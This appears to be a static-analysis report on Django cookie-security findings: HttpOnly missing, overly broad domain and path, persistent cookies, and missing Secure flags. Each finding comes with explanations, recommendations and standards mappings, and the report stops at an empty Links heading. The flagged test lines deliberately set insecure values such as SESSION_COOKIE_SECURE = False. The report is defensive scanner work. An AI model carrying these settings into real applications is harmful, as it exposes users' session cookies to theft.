[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[37] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)

Cookie Security: HTTPOnly not Set on CSRF Cookie

Description

The application fails to set the HttpOnly flag to true for CSRF cookies.

Explanation

Browsers support the HttpOnly cookie property that prevents client-side scripts from accessing the cookie. Cross-site scripting attacks often access cookies in an attempt to steal session identifiers or authentication tokens. Without HttpOnly enabled, attackers have easier access to user cookies.

Example 1: When using the django.middleware.csrf.CsrfViewMiddleware Django middleware, CSRF cookies are sent without setting the HttpOnly property.

```
...
MIDDLEWARE_CLASSES = (
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'csp.middleware.CSPMiddleware',
    'django.middleware.security.SecurityMiddleware',
    ...
)
...
```

Severity

Medium

Vulnerabilities

File tests\Cookie_Security__HTTPOnly_not_Set_on_CSRF_Cookie.py, Line 1, Pos 1

```
1 CSRF_COOKIE_HTTPONLY = False
```

File tests\Cookie_Security__HTTPOnly_not_Set_on_CSRF_Cookie.py, Line 2, Pos 1

```
2 CSRF_COOKIE_HTTPONLY = 0
```

Recommendations

- Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Links

[1] Amit Klein Round-up: Ways to bypass HttpOnly (and HTTP Basic auth) (http://www.webappsec.org/lists/websecurity/archive/2006-05/msg00025.html)
[2] Standards Mapping - Common Weakness Enumeration CWE ID 1004
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001184, CCI-002418, CCI-002420, CCI-002421, CCI-002422
[6] Standards Mapping - FIPS200 CM
[7] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1), SC-23 Session Authenticity (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity, SC-23 Session Authenticity
[10] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.2.3 Session Binding Requirements, 3.4.2 Cookie-based Session Management, 4.1.3 General Access Control Design, 4.2.1 Operation Level Access Control, 4.3.3 Other Access Control Considerations, 13.1.4 Generic Web Service Security Verification Requirements
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection

[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[37] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)

Cookie Security: HTTPOnly not Set on Session Cookie

Description

The application fails to set the HttpOnly flag to true for session cookies.

Explanation

Browsers support the HttpOnly cookie property that prevents client-side scripts from accessing the cookie. Cross-site scripting attacks often access cookies in an attempt to steal session identifiers or authentication tokens. Without HttpOnly enabled, attackers have easier access to user cookies.

Example 1: The following settings configuration explicitly sets the session cookies without setting the HttpOnly property.

```
...
MIDDLEWARE_CLASSES = (
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'csp.middleware.CSPMiddleware',
    'django.middleware.security.SecurityMiddleware',
    ...
)
...
SESSION_COOKIE_HTTPONLY = False
...
```

Severity

Medium

Vulnerabilities

File tests\Cookie_Security__HTTPOnly_not_Set_on_Session_Cookie.py, Line 1, Pos 1

```
1 SESSION_COOKIE_HTTPONLY = False
```

File tests\Cookie_Security__HTTPOnly_not_Set_on_Session_Cookie.py, Line 2, Pos 1

```
2 SESSION_COOKIE_HTTPONLY = 0
```

Recommendations

- Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Links

[1] Amit Klein Round-up: Ways to bypass HttpOnly (and HTTP Basic auth) (http://www.webappsec.org/lists/websecurity/archive/2006-05/msg00025.html)
[2] Standards Mapping - Common Weakness Enumeration CWE ID 1004
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001184, CCI-002418, CCI-002420, CCI-002421, CCI-002422
[6] Standards Mapping - FIPS200 CM
[7] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1), SC-23 Session Authenticity (P1)

[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity, SC-23 Session Authenticity
[10] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.2.3 Session Binding Requirements, 3.4.2 Cookie-based Session Management, 4.1.3 General Access Control Design, 4.2.1 Operation Level Access Control, 4.3.3 Other Access Control Considerations, 13.1.4 Generic Web Service Security Verification Requirements
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II

[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[37] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)

Cookie Security: Overly Broad Domain

Description

A cookie with an overly broad domain opens an application to attack through other applications.

Explanation

Developers often set cookies to be active across a base domain such as ".example.com". This exposes the cookie to all web applications on the base domain and any sub-domains. Because cookies often carry sensitive information such as session identifiers, sharing cookies across applications can cause a vulnerability in one application to compromise another application.

Example 1: Imagine you have a secure application deployed at http://secure.example.com/ and the application sets a session ID cookie with domain ".example.com" when a user logs in.

For example:

```
from django.http.response import HttpResponse
...
def view_method(request):
    res = HttpResponse()
    res.set_cookie("mySessionId", getSessionID(), domain=".example.com")
    return res
...
```

Suppose you have another, less secure, application at http://insecure.example.com/, and it contains a cross-site scripting vulnerability. Any user authenticated to http://secure.example.com that browses to http://insecure.example.com risks exposing their session cookie from http://secure.example.com.

In addition to reading a cookie, it might be possible for attackers to perform a "Cookie poisoning attack" by using insecure.example.com to create its own overly broad cookie that overwrites the cookie from secure.example.com.

Severity

Medium

Vulnerabilities

File tests\Cookie_Security__Overly_Broad_Domain.py, Line 4, Pos 5

```
4     res.set_cookie("emailCookie", email, secure=True, path='/somethibg', do
>main=".domain.com", httponly=True)
```

Recommendations

- Set domain for the cookie as strict as possible

Links

[1] Request and Response documentation The Django Foundation Group (https://docs.djangoproject.com/en/1.8/ref/request-response/)
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10

[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[33] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[34] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Cookie Security: Overly Broad Path

Description

A cookie with an overly broad path can be accessed through other applications on the same domain.

Explanation

Developers often set cookies to be accessible from the root context path ("/"). This exposes the cookie to all web applications on the domain. Because cookies often carry sensitive information such as session identifiers, sharing cookies across applications can cause a vulnerability in one application to compromise another application.

Example 1: Imagine you have a forum application deployed at http://communitypages.example.com/MyForum and the application sets a session ID cookie with path "/" when users log in to the forum.

For example:

```
from django.http.response import HttpResponse
...
def view_method(request):
    res = HttpResponse()
    res.set_cookie("sessionid", value) # Path defaults to "/"
    return res
...
```

Suppose an attacker creates another application at http://communitypages.example.com/EvilSite and posts a link to this site on the forum. When a user of the forum clicks this link, the browser will send the cookie set by /MyForum to the application running at /EvilSite. By stealing the session ID, the attacker can compromise the account of any forum user that browsed to /EvilSite.

In addition to reading a cookie, it might be possible for attackers to perform a "Cookie poisoning attack" by using /EvilSite to create its own overly broad cookie that overwrites the cookie from /MyForum.

Severity

Medium

Vulnerabilities

File tests\Cookie_Security__Overly_Broad_Path.py, Line 3, Pos 5

```
    res.set_cookie("emailCookie", email, secure=True, path='/', domain="dom
>ain.com", httponly=True, samesite=None)
```

File tests\Cookie_Security__Overly_Broad_Path.py, Line 8, Pos 5

```
    res.set_cookie("emailCookie", email, secure=True, domain="domain.com",
>httponly=True)
```

Recommendations

- Set path for the cookie explicitly
- Set path as much detailed as possible

Links

[1] Request and Response documentation The Django Foundation Group (https://docs.djangoproject.com/en/1.8/ref/request-response/)
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management

[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.4.5 Cookie-based Session Management
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[33] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[34] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[35] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Cookie Security: Persistent Cookie

Description

Storing sensitive data in a persistent cookie can lead to a breach of confidentiality or account compromise.

Explanation

Most web programming environments default to creating non-persistent cookies. These cookies reside only in browser memory (they are not written to disk) and are lost when the browser is closed. Programmers can specify that cookies be persisted across browser sessions until some future date. Such cookies are written to disk and survive across browser sessions and computer restarts.

If private information is stored in persistent cookies, attackers have a larger time window in which to steal this data - especially since persistent cookies are often set to expire in the distant future. Persistent cookies are often used to profile users as they interact with a site. Depending on what is done with this tracking data, it is possible to use persistent cookies to violate users' privacy.

Example 1: The following code sets a cookie to expire in 10 years.

```
from django.http.response import HttpResponse
...
def view_method(request):
    res = HttpResponse()
    res.set_cookie("emailCookie", email, expires=time()+60*60*24*365*10, secure=
True, httponly=True)
    return res
...
```

Severity

Medium

Vulnerabilities

File tests\Cookie_Security__Persistent_Cookie.py, Line 3, Pos 5

```
3    res.set_cookie("emailCookie", email, max_age=123, secure=True, path='/s
>omethibg', domain="domain.com", httponly=True, samesite=None)
```

File tests\Cookie_Security__Persistent_Cookie.py, Line 8, Pos 5

```
8    res.set_cookie("emailCookie", email, expires="asdasd", secure=True, pat
>h='/somethibg', domain="domain.com", httponly=True)
```

Recommendations

- Do not store sensitive information in persistent cookies.

Links

[1] Request and Response documentation The Django Foundation Group (https://docs.djangoproject.com/en/1.8/ref/request-response/)
[2] Standards Mapping - Common Weakness Enumeration CWE ID 539
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001185, CCI-001941, CCI-001942, CCI-002361
[6] Standards Mapping - FIPS200 MP
[7] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-23 Session Authenticity
[10] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[11] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[15] Standards Mapping - OWASP Mobile 2014 M9 Improper Session Handling
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.2.3 Session Binding Requirements, 8.3.4 Sensitive Private Data
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3, Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.7, Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3, Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3, Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3, Requirement 6.5.10
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3, Requirement 6.5.10
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II

[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Cookie Security: Session Cookie not Sent Over SSL

Description

The program does not explicitly set the SESSION_COOKIE_SECURE property to True or set it to False.

Explanation

Modern web browsers support a Secure flag for each cookie. If the flag is set, the browser will only send the cookie over HTTPS. Sending cookies over an unencrypted channel can expose them to network sniffing attacks, so the secure flag helps keep a cookie's value confidential. This is especially important if the cookie contains private data, session identifiers, or carries a CSRF token.

Example 1: The following configuration entry does not explicitly set the Secure bit for session cookies.

```
...
MIDDLEWARE_CLASSES = (
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'csp.middleware.CSPMiddleware',
    'django.middleware.security.SecurityMiddleware',
    ...
)
...
```

If an application uses both HTTPS and HTTP, but does not set the Secure flag, cookies sent during an HTTPS request will also be sent during subsequent HTTP requests. Attackers may then compromise the cookie by sniffing the unencrypted network traffic, which is particularly easy over wireless networks.

Severity

High

Vulnerabilities

File tests\Cookie_Security__Session_Cookie_not_Sent_Over_SSL.py, Line 1, Pos 1

```
1 SESSION_COOKIE_SECURE = False
```

File tests\Cookie_Security__Session_Cookie_not_Sent_Over_SSL.py, Line 2, Pos 1

```
2 SESSION_COOKIE_SECURE = 0
```

Recommendations

- Always set the secure attribute when the cookie should sent via HTTPS only.

Links

